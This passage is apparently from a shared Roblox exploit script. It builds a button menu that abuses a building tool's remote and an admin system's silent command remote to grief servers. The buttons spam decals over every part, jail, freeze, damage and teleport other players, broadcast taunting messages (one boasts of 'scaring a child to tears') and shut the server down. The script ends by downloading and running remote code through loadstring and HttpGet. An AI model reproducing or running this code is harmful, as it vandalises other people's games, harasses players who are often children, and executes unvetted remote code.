			invoke({ "CreateMeshes", { { Part = part } } })
		end

		local function SetMesh(part, meshId)
			invoke({ "SyncMesh", { { Part = part, MeshId = "rbxassetid://" .. meshId } } })
		end

		local function SetTexture(part, texId)
			invoke({ "SyncMesh", { { Part = part, TextureId = "rbxassetid://" .. texId } } })
		end

		local function SetName(part, name)
			invoke({ "SetName", { part }, name })
		end

		local function MeshResize(part, size)
			invoke({ "SyncMesh", { { Part = part, Scale = size } } })
		end

		local function Weld(part1, part2, lead)
			invoke({ "CreateWelds", { part1, part2 }, lead })
		end

		local function SetLocked(part, boolean)
			invoke({ "SetLocked", { part }, boolean })
		end

		local function SetTransparency(part, transparency)
			invoke({ "SyncMaterial", { { Part = part, Transparency = transparency } } })
		end

		-- Lighting & Color
		local function CreateSpotlight(part)
			invoke({ "CreateLights", { { Part = part, LightType = "SpotLight" } } })
		end

		local function SyncLighting(part, brightness)
			invoke({ "SyncLighting", { { Part = part, LightType = "SpotLight", Brightness = brightness } } })
		end

		local function SetColor(part, color)
			invoke({ "SyncColor", { { Part = part, Color = color, UnionColoring = false } } })
		end

		-- Decals & Textures
		local function SpawnDecal(part, face)
			invoke({ "CreateTextures", { { Part = part, Face = face, TextureType = "Decal" } } })
		end

		local function AddDecal(part, assetId, face)
			invoke({ "SyncTexture", { { Part = part, Face = face, TextureType = "Decal", Texture = "rbxassetid://" .. assetId } } })
		end

		-- Spam function: applies a decal on all parts in workspace
		local function SpamDecal(assetId)
			for _, v in pairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v, false)
						for _, face in pairs(Enum.NormalId:GetEnumItems()) do
							SpawnDecal(v, face)
							AddDecal(v, assetId, face)
						end
					end)
				end
			end
		end

		-- Spam a decal on all workspace parts
		SpamDecal("129440088616536")

	end}, {Text = "sm", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";sm UnethicalNetworks was here!")
	end}, {Text = "troll", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";uncmdbar2 others ;unfly others ;unnoclip2 others ;blur others")
	end}, {Text = "disco", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";disco")
	end}, {Text = "fog", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";fogcolor bk ;fog 0")
	end}, {Text = "hint hack", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";sh UnethicalNetworks Scaring a child to tears😂")
	end}, {Text = "char all", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";char all UnethicalNetworks")
	end}, {Text = "chat all", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";chat all UnethicalNetworks hacker game")
	end}, {Text = "un troll", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";unjail me ;unice me ;ff ;god")
	end}, {Text = " troll2", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";jail others ;freeze others ;loopwarp others")
	end}, {Text = "shutdown", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";shutdown")
	end}, {Text = "unfog undisco unblur", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent  RequestCommand:InvokeServer(";undisco ;unfog ;unblur me")
	end}, {Text = "cmdbar2", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";cmdbar2 ;cmdbar2 othes")
	end}, {Text = "noclip", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";noclip2")
	end}, {Text = "alert", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";alert all UnethicalNetworks was here!")
	end}, {Text = "sword", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";sword :god")
	end}, {Text = "bring", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";tp all me")
	end}, {Text = "cmdbar others", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";cmdbar others ;blur others")
	end}, {Text = "damage others 20", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";damage others 20")
	end}, {Text = "hideGuis", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";hideGuis others")
	end},
	{Text = "rain U.N.", Func = function()
--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
		-- DO NOT DELETE THIS LEAVE MY CREDIT

		-- Rain Toad Script By ItsKittyyyGD 

		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local tool

		for i, v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		for i, v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		local remote = tool.SyncAPI.ServerEndpoint

		function _(args)
			remote:InvokeServer(unpack(args))
		end

		function SetCollision(part, boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end

		function SetAnchor(boolean, part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end

		function CreatePart(cf)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = workspace
			}
			_(args)
		end

		function Resize(part, size, cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end

		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part, meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://" .. meshid
					}
				}
			}
			_(args)
		end

		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://" .. texid
					}
				}
			}
			_(args)
		end

		function MeshResize(part, size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end

		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
			_(args)
		end

		function Sky(id)
			local hrp = char:WaitForChild("HumanoidRootPart")
			local cf = hrp.CFrame
			CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
			for _, v in workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
					SetAnchor(true, v)
					AddMesh(v)
					SetMesh(v, "14832966960")
					SetTexture(v, id)
					MeshResize(v, Vector3.new(0, 0, 0))
				end
			end
		end

		local function createRainToads()
			while true do
				wait(0.01) -- Here they change the appearance time of the Toads or other meshes
				if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
					local hrpcf = player.Character.HumanoidRootPart.CFrame
					local x = hrpcf.x
					local z = hrpcf.z
					local randint = math.random(-600, 600)
					local randint2 = math.random(-600, 600)
					local xloc = randint + x
					local zloc = randint2 + z
					local cf = player.Character.HumanoidRootPart.CFrame.y + 400

					spawn(function()
						local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
						for i, v in game.Workspace:GetDescendants() do
							if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
								SetName(v, "ITS RAINING MEN!") -- Here the name of the toad changes
								SetAnchor(false, v)
								AddMesh(v)
								Resize(v, Vector3.new(50, 50, 30), v.CFrame)
								MeshResize(v, Vector3.new(0.5, 0.5, 0.5))
								SetMesh(v, "1347582902") -- Here put it A custom mesh
								SetTexture(v, "136244369348699") -- X2
								SetCollision(v, false)
								v.Orientation = Vector3.new(0, 0, 0)

								v.CFrame = v.CFrame + Vector3.new(0, 0, 0)

								local sound = Instance.new("Sound", v)
								sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear 
								sound.Volume = 0
								sound.PlayOnRemove = true
								sound:Destroy()
							end
						end
					end)
				else
					wait(1)
				end
			end
		end

		coroutine.wrap(createRainToads)()

		Sky("95921788891849") -- Here they change the skybox id 

		-- Delete this if you are going to Use it in another script

		-- Obviously it has those noises because there is an official script that has it and the msg was
		

	end},

}

------------------------------------------------------
-- 
------------------------------------------------------
for _, info in ipairs(buttonsConfig) do
	local btn = Instance.new("TextButton")
	btn.Size = UDim2.new(0, cellWidth, 0, 40)
	btn.BackgroundColor3 = Color3.fromRGB(70, 70, 70)
	btn.TextColor3 = Color3.new(1, 1, 1)
	btn.Text = info.Text
	btn.Font = Enum.Font.GothamBold
	btn.TextSize = 16
	btn.Parent = scrollFrame

	btn.MouseButton1Click:Connect(function()
		info.Func()
	end)
end
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-cool-logo-86780"))()

Features & Information

by kx and me

Community Comments (5)

MunkicreepMunkicreepJan 18, 2026

w

B4conhubB4conhubJan 18, 2026

W

duusstprriince47duusstprriince47Jan 18, 2026

w

Kitty_HackedRealKitty_HackedRealJan 18, 2026

Chat GPT *

BEBPABEBPAJan 21, 2026

w

More Scripts for Universal Scripts